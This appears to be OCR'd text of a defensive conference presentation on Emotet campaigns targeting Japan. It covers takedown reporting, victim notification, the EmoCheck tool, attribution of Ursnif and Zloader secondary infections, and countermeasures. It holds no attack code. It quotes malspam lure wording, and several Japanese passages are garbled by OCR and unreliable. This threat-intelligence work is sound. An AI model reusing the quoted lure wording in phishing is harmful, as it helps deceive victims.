°  Information sharing as TTPs Srypisionms

°  Complement the time zone
* Register the communication destination of Emotet in URLHaus

°  Anyone can block malicious traffic with URLHaus feed


https://twitter.com/Cryptolaemus1
https://paste.cryptolaemus.com/
https://www.zdnet.com/article/meet-the-white-hat-group-fighting-emotet-the-worlds-most-dangerous-malware/

o2

4.3. Report of distribution site

Early detection of falsified sites
Site where document files are distributed
Site where Emotet itself is distributed
Contact the IT service provider Abuse

Contact the organization’'s CSIRT or security officer

— Reduce the number of new infections by cutting off
the flow of infection
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44 Notification to misused email addresses

Observe email addresses abused for sending
Notify abused email addresses

Be aware of the infection and have it dealt with
More than 4,500 notifications so far

Most are personal email addresses such as ISPs
Cases that have already been noticed and dealt with

Cases where the remedy is unknown / insufficient even if they
know it

If necessary, consult with us by email or phone.
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45 . EmoCheck

* It may be difficult to explain or respond depending on the other
party
° Need to be able to check for Emotet infection by yourself

" Emotet has unique traces and naming conventions
° Based on that, it is possible to check for infection.

°  Propose a concept and request development
— Released EmoCheck

README.md

EmoCheck

Emotet detection tool for Windows OS.



https://github.com/JPCERTCC/EmoCheck/releases

Microsoft®

1) O.ﬁ.‘ o TORBW—0 REEENCTEI RI>%E
u ) Ice PUSBLTCEE,

9. Emotet Campaign FTUMBIBOEUR,  smon xororomm n

Office /{—>3 >OME(CLD. T7ANDI>DTIY Bl EDIREESSRE. officeDiRET. J7 L

| ]
A n a Iy S I S ECHERIECA. BEOED BTV EE. OILFIVETHEAGET.
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5.1. Purpose of Emotet campaign

Two groups are involved in Emotet attacks

The side that delivers email using Emotet
Attack group operating Emotet

The side that uses Emotet to infect other malware
Another attack group that wants to use another
malware



5.1. Purpose of Emotet campaign

- Two groups are involved in Emotet attacks

Email sending module Login attempt Email spread

control . Email related informpation send emall
bl and)

attacker C2 servers

Legitimate mail servers

Infected hosts
Receive email
Jmodule

!
)

I Request,
usage fee

4--"—ﬁ

Distribution site

Information steal

control \ Download and (compromised)
. — another malware run Emotet

another
attacker C2 server for

57 another malware
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5.2. Attack group that operates Emotet

Emotet is malware used by a single group

Attack groups are called Mealybugs, Mummy Spider,
TA542, etc. (all the same)

Cryptolaemus calls Ivan

Emotet is a tool for infecting other malware
They are getting royalties from another attack
group by infecting another malware
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5.2. Purpose of the attack group that operates Emotet

By increasing the number of infected hosts of Emotet

u]

Increased chances of getting infected with another malware
— Increased profits

Strengthening the email sending infrastructure

Increase in new attack targets (email addresses)

A mechanism that can specialize in increasing the number of infected
hosts

—Defenders need to reduce the number of infections



5.3. Purpose of attack groups using Emotet

Malware that infects after Emotet (2019/09-)

malware time Infection

Ursnif 2019/09-10 only in Japan
Trickbot 2019/10-12, 2020/07- also in Japan
Qakbot 2020/07- also in Japan
Zloader 2020/09- only in Japan
IcedID 2020/10- not in Japan

all banking trojan

Attack groups will be different for each malware
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54. Secondary infection malware by Emotet

Ref:

Secondary infection malware depends on the Geo
Location of the IP at the time of infection

Secondary infection in the target country, no
infection in non—target countries

Malware that is secondarily infected only in Japan
targets Japan

= Ursnif, Zloader

To reduce Emotet’s attacks on Japan, it is also
effective to block the purpose of attack groups
targeting secondary infections.


https://d00rt.github.io/emotet_network_protocol/#country

541, Ursnif secondary infection from Emotet

Ursnif(Dreambot), Trickbot via Emotet
Ursnif and Ursnif via Emotet have the same
settings
Ursnif and Trickbot Weblnjects URLs match
— Attack group is considered Ursnif-B

[See JSAC2020 presentation]

- This attack group is known to use an account called
“Jer” in other reports

a0 Ref:


https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_jp.pdf
https://medium.com/csis-techblog/the-end-of-dreambot-a-loved-piece-of-gozi-24cc9bfc8122
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(Ref) Trickbot

Trickbot is used by various attack groups

Not all Trickbot distributions are via Emotet, and some
Trickbot distributions via Emotet are Jer

Weblnjects for Japan exists in one record group from October 15,
2019 to March 2020 (About 30% of the total)

This user is considered Jer

After 2020/03, most record groups including the above for
Japan have been deleted from Trickbot's Weblnjects.

— At the same time, Trickbot's attack group is said to
have migrated to more sophisticated Bazzar malware.



54.2. [loader secondary infection from Emotet

/loader
Observed only in Japan after 2020/09
Increased emails to Japan at the same time
/Zloader targeting Japan has 3 infection methods
Malware that infects after Emotet
Infection from malspam attached xls
Infection via Exploit—Kit
3 types of Zloader have the same config and C2
The same group is attacking
Weblnjects targeting Japanese financial institutions

B4 Ref:


https://www.lac.co.jp/lacwatch/people/20201106_002321.html

54.3. /loader attack vector and settings

The attack vector is different, but some
settings, C2 server, etc. are the same

oA
R

attacker

&3
Emotet infected—
hosts

C2 servers  manipulation
server

Botnet ID

C2 servers  manipulation
- server

malspam

B

attacker malspam Zloader

C2 servers  manipulation
E i:; Web access
65 .

server
Exploit Kit Zloader

Weblnjects
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5.5. Relationship of secondary infection from Emotet

Each Ursnif and Zloader attack group attempts to
infect even without Emotet.
Emotet is just one of the attack vectors

There are similarities between the two malware
campaigns

email subject, body

Document design

Weblnjects
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5.5.1. Document design comparison

" Emotet’s Japanese document and xlIsb that infects Zloader have the
same design, the image is the same hash
* Jer used almost the same image in the past
°  The image is mosaic due to hash modification

Emotet and zloader design 2018/12/28 Ursnif design

I I'J Microsoft® l l’ Microsoft®
1 TOBBW D (BEEEMCTS] RIVE :g Offl C e TORBW—D [BEEENCTS] RIVE

L]
iJ-, Ofﬂ Ce JUYILTIEEW, ! AUY DT ES 1.

9 UB iEEEb‘E bhExU = REDH, BE)—0 [1>7>YOEME] R o E‘_,,%bg@ @ B, SSEmO@EERE— DTS F0EmiEl
s

H2aIVUYIULTLIEE W, R YW KESTEE V.

i0ffice ) C=0aBa@EETE DY

Office /\—3 >OMAICED. T7ANDI>TIY Bl EDREETRHE. officeDiRET. J7 )L
PG AR D (@B TNSIgE .

ZCHERIFEA. SBEOEDCHTVNKESN. OOA>TIYVECHRRFET .
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5.5.2. Comparison of email body

Ref:

The body of the Zloader
malspam on 2020/10/14 is the
same as the malspam body of
Ursnif on 2017/06/13 —
2017/11/22.

In addition, the body of Zloader
malspam is the one used in the

past in Jer's Ursnif malspam
body.

2020/10/14 Zloader malspam

HEICR>THEDET,
> S A DL KRTT,

CHISAIBETL & DD ?

FTIRALICREALELTE
B, FHRSHTI0RABBICET FELRDET,

tE@hﬁ@:’ﬁéT 9&}*0Qu§ug

TR EWZIEFFET EXZEBH Da:?f

2017/06/13 Ursnif malspam

BEoBYNER
WOBAESHEFICB>TENET,
AT v/ SRR DE L KTT,

SASOCARIDEADBOEBEZSE TWLZLLWOTIN,
SHBOIRETLLID ?

WIBEOAKICBALEL T,
BRE. FHEZPTOAISBICTET FPRERDET,

ABPLCHEROCEFRET —IEERDBLELT
FRETTRE, EABCHERET —FEEEDBLET,

REBSERCBO>TLEVWAEBURSZVEEAD,
CHIBEWVELET T EAEBDHIDET,



https://www.jc3.or.jp/topics/vm_index.html
https://bomccss.hatenablog.jp/entry/2020/10/28/132546
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5.5.3. Weblnjects

* Target of Weblnjects

°  Ursnif and Zloader are mainly targeted at banks and credit card
companies, and the target organizations are the same.

= Zloader's Weblnjects are frequently added and changed and are
considered to be under continuous development.

"  No other Web Injections for Japan targeting both banks and credit card
companies

° In the past Ramnit, Panda Banker targeted credit card companies

= Some of Ursnif target Japanese banks

Ref:


https://blog.trendmicro.co.jp/archives/19291
https://www.botconf.eu/wp-content/uploads/2018/12/2018-J-Wyke-Tracking-actors-through-their-webinjects-.pdf

5.54. Relationship between Zloader and Ursnif

malspam Emotet malware C2 servers - Weblnjects manipulation
am
I Same £§ pj‘ Zloader
‘ || design
. " Zloader

attacker

Jer .|| Same email body

— ,_

0 _.g N\
2 S

Same targets

—

Ursnif
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5.6. Purpose of attack groups

The purpose of the attack group that operates Emotet
is financial profit, and spreading Emotet more will lead
to profit.

Ursnif and Zloader infected from Emotet are used by
the same attack group
Aim for money with Banking Trojan

It may change to other malware, but it is likely that
attacks will continue.
Ransomware attacks via Emotet that occur overseas
may not occur very often in Japan.
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6. Countermeasures

[E Windows Update

Some apps need to be updated

You need to click Enable Editing and then click Enable Content.
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b. Countermeasures

Keep your OS and software up to date
Keep your antivirus software pattern files up to date
Block emails aimed at infection
Disable macro autorun in document files
Prohibit communication to the outside by script
Block communications using IoCs
Communication destination shared by
IP address of C2 server shared by
Set up multi—factor authentication for your email account
Restrict administrative shares
Regular alerts with the latest information
Especially on Twitter, the latest information is shared


https://urlhaus.abuse.ch/
https://feodotracker.abuse.ch/
https://paste.cryptolaemus.com/

74

7. Summary
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/. Summary

Explaining Emotet attack campaign targeting Japan
The Flow of attacks aimed at infection
Sharing the infection situation in Japan
Analysis attack groups that use Emotet

Attack campaigns targeting Emotet infections are changing
rapidly, so use the latest TTPs and [IoCs from Twitter and
other sources as a proactive countermeasure.

Let's all reduce Emotet infections.
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